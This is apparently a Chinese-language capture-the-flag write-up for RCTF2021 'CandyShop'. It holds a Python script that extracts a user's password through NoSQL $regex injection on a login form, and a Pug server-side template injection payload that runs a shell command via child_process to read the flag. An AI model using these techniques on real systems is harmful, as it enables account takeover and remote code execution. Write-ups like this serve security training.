NoSQL注入+pug模板注入

NoSQL注入

NoSQL数据库提供比传统SQL数据库更宽松的一致性限制。 通过减少关系约束和一致性检查,NoSQL数据库提供了更好的性能和扩展性。 然而,即使这些数据库没有使用传统的SQL语法,它们仍然可能很容易的受到注入攻击。 由于这些NoSQL注入攻击可以在程序语言中执行,而不是在声明式 SQL语言中执行,所以潜在影响要大于传统SQL注入。

犯个懒,直接上菜鸟教程的链接

服务端模板注入(SSTI)

模板引擎的本意是让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是,随着各种新技术的出现,黑客的攻击面也得到了扩展。

当模板引擎解析用户的输入时,就有可能产生SSTI。

我之前也写过一篇关于flask模板注入的文章,此处不再过多介绍模板注入

[RCTF2021]CandyShop

login部分存在注入漏洞

存在一个rabbit用户,其状态为active

利用脚本进行注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url="http://123.60.21.23:23333/user/login"
thelist="0123456789abcdef"#password is hex string
result=""

while True:
for c in thelist:
data={
"username":"rabbit",
"password[$regex]":f"^{result}{c}"
}
r=requests.post(url=url,data=data)
if 'Bad Bad' in r.text:
result+=c
print(result)
break

爆出密码后登录rabbit账户。至尊的rabbit用户可以使用order功能,我们要从此处进行模板注入

pug模板相关知识

payload:

1
' flag=global.process.mainModule.constructor._load('child_process').execSync("cat /flag").toString() a='

可以看到这个payload实质上是利用单引号进行闭合后执行了js代码

RCTF{c4ndy_15_50_5w337_meow_meow_>_<}